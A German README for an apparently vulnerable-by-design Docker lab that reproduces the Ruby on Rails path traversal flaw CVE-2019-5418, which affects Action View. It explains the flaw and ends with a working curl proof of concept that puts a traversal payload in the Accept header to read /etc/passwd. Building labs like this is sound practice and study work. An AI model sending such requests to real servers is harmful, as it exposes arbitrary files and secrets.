
# Docker-basierte Laborumgebung für den CVE-2019-5418 Ruby on Rails Path-Traversal-Exploit, mit PoC-curl-Befehlen zum Lesen beliebiger Serverdateien über manipulierte Accept-Header.
Dieses Projekt ist eine Umgebung zum Üben und Reproduzieren der Local File Inclusion-Schwachstelle (CVE-2019-5418) in Ruby on Rails.
Die Schwachstelle ermöglicht es, durch Path Traversal über den Accept-Header beliebige Dateien im Server zu lesen.
Ruby on Rails ist ein Webanwendungs-Framework, mit dem Entwickler schnell und einfach Webanwendungen erstellen können.
Ruby on Rails Action View <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 und v3 weist eine Local File Inclusion-Schwachstelle auf.
Wenn render file in einem Controller verwendet wird, um eine View außerhalb der Anwendung zu rendern, bestimmt Rails den Dateispeicherort anhand des vom Benutzer bereitgestellten Accept-Headers. Wird ein Accept-Header mit dem Wert Accept: ../../../../../../../../etc/passwd{{ gesendet, kann ein Angreifer die Path-Traversal-Schwachstelle ausnutzen, um beliebige Dateien zu lesen.
Führen Sie die folgenden Befehle aus, um Ruby on Rails 5.2.2 zu kompilieren und zu starten:
docker compose build
docker compose up -d
Nach dem Start des Servers können Sie die Ruby on Rails-Seite unter http://your-ip:3000 aufrufen.

curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots

Über den Accept-Header wurde erfolgreich eine beliebige Datei im Server gelesen.